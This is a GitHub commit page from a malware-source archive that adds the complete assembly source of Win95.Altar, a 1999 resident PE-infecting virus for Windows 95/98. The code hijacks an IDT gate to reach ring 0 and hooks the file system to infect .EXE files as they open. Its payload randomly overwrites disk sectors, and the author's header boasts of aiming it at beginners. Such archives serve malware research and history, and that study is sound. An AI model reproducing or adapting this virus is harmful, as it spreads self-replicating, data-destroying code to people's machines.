mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,534 @@
|
||||
;============================================================================
|
||||
;
|
||||
;
|
||||
; NAME: Win95.Altar 1.01
|
||||
; OS: Windoze 95/98.
|
||||
; TYPE: Parasitic resident (VxD) PE-infector.
|
||||
; SIZE: Around 800 bytes.
|
||||
; AUTHOR: T-2000 / Immortal Riot.
|
||||
; E-MAIL: T2000_@hotmail.com
|
||||
; DATE: June 1999.
|
||||
; DESTRUCTIVE: Yeah.
|
||||
;
|
||||
; FEATURES:
|
||||
;
|
||||
; - Gains ring-0 by hacking an IDT-gate.
|
||||
; - Hosts don't increase in size.
|
||||
; - Payload: random sector-trashing.
|
||||
;
|
||||
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
|
||||
; chance was set rather high, just to fuck beginners :P
|
||||
;
|
||||
;============================================================================
|
||||
|
||||
|
||||
.386p
|
||||
.MODEL FLAT
|
||||
.CODE
|
||||
|
||||
ORG 0
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
|
||||
IFSMgr EQU 0040h
|
||||
GetHeap EQU 000Dh
|
||||
UniToBCSPath EQU 0041h
|
||||
InstallFileSystemAPIhook EQU 0067h
|
||||
Ring0_FileIO EQU 0032h
|
||||
IFSFN_OPEN EQU 36
|
||||
R0_WRITEFILE EQU 0D601h
|
||||
|
||||
Virus_Size EQU (Virus_End-START)
|
||||
Virus_Size_Mem EQU (End_Virus_Mem-START)
|
||||
|
||||
|
||||
START:
|
||||
PUSH (1000h+(Carrier-START))
|
||||
Host_EIP = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV EAX, EBP
|
||||
|
||||
SUB EAX, 1000h ; Calculate base-address.
|
||||
Virus_RVA = DWORD PTR $-4
|
||||
|
||||
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
|
||||
|
||||
XOR EAX, EAX
|
||||
|
||||
CALL Setup_SEH ; Bail-out without errors
|
||||
; under NT.
|
||||
MOV ESP, [ESP+(2*4)]
|
||||
|
||||
JMP Return_Host
|
||||
|
||||
Setup_SEH: PUSH DWORD PTR FS:[EAX]
|
||||
MOV FS:[EAX], ESP
|
||||
|
||||
PUSH EAX ; Store IDT in EAX.
|
||||
SIDT [ESP-2]
|
||||
POP EAX
|
||||
|
||||
LEA EBX, [EBP+(Ring0_Installation-START)]
|
||||
|
||||
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
|
||||
ROR EBX, 16
|
||||
XCHG [EAX+(3*8)+6], BX
|
||||
|
||||
INT 3
|
||||
|
||||
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
|
||||
ROL EBX, 16
|
||||
MOV [EAX+(3*8)], BX
|
||||
|
||||
Return_Host: XOR EAX, EAX ; Restore the original SEH.
|
||||
|
||||
POP DWORD PTR FS:[EAX]
|
||||
POP EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
RET ; RETurn to our host.
|
||||
|
||||
|
||||
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
|
||||
|
||||
|
||||
VxD_Ring0_FileIO:
|
||||
|
||||
INT 20h
|
||||
DW Ring0_FileIO
|
||||
DW IFSMgr
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Ring0_Installation:
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
MOV EAX, DR2 ; Get DR2 in EAX.
|
||||
|
||||
CMP AL, 'T' ; We're already resident?
|
||||
JE Exit_R0_Inst
|
||||
|
||||
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
|
||||
|
||||
MOV AX, 20CDh
|
||||
STOSW
|
||||
|
||||
MOV [EDI], 00400032h
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
|
||||
|
||||
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
|
||||
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
|
||||
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
|
||||
|
||||
PUSH Virus_Size_Mem ; Allocate memory from the
|
||||
INT 20h ; global heap.
|
||||
DW GetHeap
|
||||
DW IFSMgr
|
||||
VxD_Call_1 = $-6
|
||||
POP ECX
|
||||
|
||||
OR EAX, EAX ; Error occurred?
|
||||
JZ Exit_R0_Inst
|
||||
|
||||
MOV ESI, EBP ; Copy us to VxD-memory.
|
||||
MOV EDI, EAX
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV [EAX+(Busy_Switch-START)], ECX
|
||||
|
||||
ADD EAX, (Ring0_Hook-START)
|
||||
|
||||
PUSH EAX ; Insert our file-hook.
|
||||
INT 20h
|
||||
DW InstallFileSystemAPIhook
|
||||
DW IFSMgr
|
||||
VxD_Call_2 = $-6
|
||||
POP EBX
|
||||
|
||||
XCHG ECX, EAX ; Error?
|
||||
JECXZ Exit_R0_Inst
|
||||
|
||||
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
|
||||
|
||||
MOV AL, 'T' ; Mark us as resident.
|
||||
MOV DR2, EAX
|
||||
|
||||
Exit_R0_Inst: POPAD
|
||||
POPFD
|
||||
|
||||
IRETD ; Back to our ring-3 part.
|
||||
|
||||
|
||||
Ring0_Hook:
|
||||
JMP $+666h
|
||||
Busy_Switch = DWORD PTR $-4
|
||||
|
||||
PUSHFD
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta
|
||||
|
||||
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
|
||||
|
||||
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
|
||||
JNE Exit_Infect
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
CMP DL, 5
|
||||
JA Obtain_Name
|
||||
|
||||
CALL Get_Random
|
||||
|
||||
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
|
||||
INC ECX
|
||||
LEA ESI, [EBP+(Copyright-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
|
||||
|
||||
MOV ESI, [EBX+(3*4)] ; Unicode-path.
|
||||
|
||||
CLD
|
||||
LODSD
|
||||
|
||||
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
|
||||
PUSH 259
|
||||
PUSH ESI
|
||||
LEA ESI, [EBP+(ANSI_Target-START)]
|
||||
PUSH ESI
|
||||
INT 20h
|
||||
DW UniToBCSPath
|
||||
DW IFSMgr
|
||||
VxD_Call_3 = $-6
|
||||
|
||||
ADD ESP, (4*4) ; Fix stack.
|
||||
|
||||
OR EDX, EDX ; No problems during the
|
||||
JNZ Exit_Infect ; conversion?
|
||||
|
||||
MOV [ESI+EAX], DL
|
||||
|
||||
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
|
||||
JNE Exit_Infect
|
||||
|
||||
XOR EAX, EAX ; R0_OPENCREATFILE
|
||||
MOV AH, 0D5h
|
||||
PUSH 02h
|
||||
POP EBX
|
||||
INC EDX
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC Exit_Infect
|
||||
|
||||
XCHG EBX, EAX ; Save filehandle in EBX.
|
||||
|
||||
XOR EAX, EAX ; R0_GETFILESIZE
|
||||
MOV AH, 0D8h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP EAX, 4096 ; Avoid infecting files which
|
||||
JC_Close_File: JB Close_File ; are too small.
|
||||
|
||||
MOV [EBP+(Victim_Size-START)], EAX
|
||||
|
||||
LEA EDI, [EBP+(Header-START)]
|
||||
|
||||
; Read-in the DOS MZ-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40h
|
||||
POP ECX
|
||||
XOR EDX, EDX
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
JC JC_Close_File
|
||||
|
||||
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
|
||||
JNE Close_File
|
||||
|
||||
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
|
||||
|
||||
MOV [EBP+(PE_Header_Offs-START)], EDX
|
||||
|
||||
; Read-in PE-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 92
|
||||
POP ECX
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
|
||||
JNE Close_File
|
||||
|
||||
CMP [EDI.PE_Checksum], -666h ; Avoid infected
|
||||
JE Close_File ; files.
|
||||
|
||||
MOVZX EAX, [EDI.Object_Count]
|
||||
DEC EAX
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MUL ECX
|
||||
|
||||
MOVZX DX, [EDI.NT_Header_Size]
|
||||
|
||||
LEA EDX, [EDX+24+EAX]
|
||||
|
||||
ADD EDX, [EBP+(PE_Header_Offs-START)]
|
||||
|
||||
MOV [EBP+(Last_Obj_Offset-START)], EDX
|
||||
|
||||
; Read-in the last object-header.
|
||||
|
||||
XOR EAX, EAX ; R0_READFILE
|
||||
MOV AH, 0D6h
|
||||
PUSH 40
|
||||
POP ECX
|
||||
LEA ESI, [EBP+(Last_Obj_Table-START)]
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
MOV EAX, [ESI.Section_Physical_Size]
|
||||
|
||||
CMP EAX, [ESI.Section_Virtual_Size]
|
||||
JBE Check_Size
|
||||
|
||||
MOV EAX, [ESI.Section_Virtual_Size]
|
||||
|
||||
Check_Size: PUSH EAX
|
||||
|
||||
MOV ECX, Virus_Size
|
||||
|
||||
ADD EAX, ECX
|
||||
ADD EAX, [ESI.Section_Physical_Offset]
|
||||
|
||||
CMP EAX, 12345678h ; File increases in size?
|
||||
Victim_Size = DWORD PTR $-4
|
||||
|
||||
POP EAX
|
||||
|
||||
JA Close_File ; Then abort the infect.
|
||||
|
||||
PUSH EAX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
ADD EAX, ECX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
MOV ECX, [EDI.File_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Physical_Size], EAX
|
||||
JNB Calc_New_Virt
|
||||
|
||||
MOV [ESI.Section_Physical_Size], EAX
|
||||
|
||||
Calc_New_Virt: POP EAX
|
||||
MOV ECX, [EDI.Object_Align]
|
||||
CALL Align_EAX
|
||||
|
||||
CMP [ESI.Section_Virtual_Size], EAX
|
||||
JNB Set_New_EIP
|
||||
|
||||
ADD [EDI.Image_Size], EAX
|
||||
|
||||
XCHG [ESI.Section_Virtual_Size], EAX
|
||||
|
||||
SUB [EDI.Image_Size], EAX
|
||||
|
||||
Set_New_EIP: POP EAX
|
||||
|
||||
ADD EAX, [ESI.Section_RVA]
|
||||
|
||||
MOV [EBP+(Virus_RVA-START)], EAX
|
||||
|
||||
XCHG [EDI.EIP_RVA], EAX
|
||||
|
||||
MOV [EBP+(Host_EIP-START)], EAX
|
||||
|
||||
; Write updated object-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 40
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
Last_Obj_Offset = DWORD PTR $-4
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
POP EDX
|
||||
|
||||
; Insert virus-body into our victim.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
MOV ECX, Virus_Size
|
||||
ADD EDX, [ESI.Section_Physical_Offset]
|
||||
MOV ESI, EBP
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Mark file as infected.
|
||||
|
||||
MOV [EDI.PE_Checksum], -666h
|
||||
|
||||
; Write updated PE-header back to disk.
|
||||
|
||||
MOV EAX, R0_WRITEFILE
|
||||
PUSH 92
|
||||
POP ECX
|
||||
MOV EDX, 12345678h
|
||||
PE_Header_Offs = DWORD PTR $-4
|
||||
MOV ESI, EDI
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
; Close the file.
|
||||
|
||||
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
|
||||
MOV AH, 0D7h
|
||||
CALL VxD_Ring0_FileIO
|
||||
|
||||
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
|
||||
|
||||
MOV [EBP+(Busy_Switch-START)], EAX
|
||||
|
||||
POPAD
|
||||
POPFD
|
||||
|
||||
JMP_Prev_Hook: JMP DS:[12345678h]
|
||||
Prev_Handler = DWORD PTR $-4
|
||||
|
||||
|
||||
DB 'Awaiting the sacrifice...', 0
|
||||
|
||||
|
||||
Align_EAX:
|
||||
XOR EDX, EDX
|
||||
DIV ECX
|
||||
|
||||
OR EDX, EDX
|
||||
JZ Calc_Aligned
|
||||
|
||||
INC EAX
|
||||
|
||||
Calc_Aligned: MUL ECX
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Delta:
|
||||
CALL Get_EIP
|
||||
Get_EIP: POP EBP
|
||||
SUB EBP, (Get_EIP-START)
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Get_Random:
|
||||
IN EAX, 40h
|
||||
ADD EDX, EAX
|
||||
|
||||
Randomize: IN EAX, 40h
|
||||
XCHG AH, AL
|
||||
|
||||
ADD EAX, 0DEADBEEFh
|
||||
|
||||
RCL EDX, 3
|
||||
|
||||
XOR EDX, EAX
|
||||
|
||||
LOOP Randomize
|
||||
|
||||
RET
|
||||
|
||||
Virus_End:
|
||||
|
||||
ANSI_Target DB 260 DUP(0)
|
||||
|
||||
Header DB 92 DUP(0)
|
||||
|
||||
Last_Obj_Table DB 40 DUP(0)
|
||||
|
||||
End_Virus_Mem:
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
|
||||
|
||||
|
||||
; The good old MZ-header...
|
||||
|
||||
MZ_Header STRUC
|
||||
MZ_Mark DW 0
|
||||
MZ_Image_Mod_512 DW 0
|
||||
MZ_Image_512_Pages DW 0
|
||||
MZ_Reloc_Items DW 0
|
||||
MZ_Header_Size_Mem DW 0
|
||||
MZ_Min_Size_Mem DW 0
|
||||
MZ_Max_Size_Mem DW 0
|
||||
MZ_Program_SS DW 0
|
||||
MZ_Program_SP DW 0
|
||||
MZ_Checksum DW 0
|
||||
MZ_Program_IP DW 0
|
||||
MZ_Program_CS DW 0
|
||||
MZ_Reloc_Table DW 0
|
||||
MZ_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0 ; Minimal CPU required.
|
||||
Object_Count DW 0 ; Number of sections in PE.
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
NT_Header_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DD 4 DUP(0)
|
||||
EIP_RVA DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
PE_Reserved_5 DD 0
|
||||
Image_Size DD 0
|
||||
Headers_Size DD 0
|
||||
PE_Checksum DD 0
|
||||
DW 0
|
||||
DLL_Flags DW 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
|
||||
Section_Virtual_Size DD 0 ; Memory-size of section.
|
||||
Section_RVA DD 0 ; Start section in memory.
|
||||
Section_Physical_Size DD 0 ; Section-size in file.
|
||||
Section_Physical_Offset DD 0 ; Section file-offset.
|
||||
Section_Reserved_1 DD 0 ; Not used for executables.
|
||||
Section_Reserved_2 DD 0 ; Not used for executables.
|
||||
Section_Reserved_3 DD 0 ; Not used for executables.
|
||||
Section_Flags DD 0 ; Flags of the section.
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
END START
|
||||
Reference in New Issue
Block a user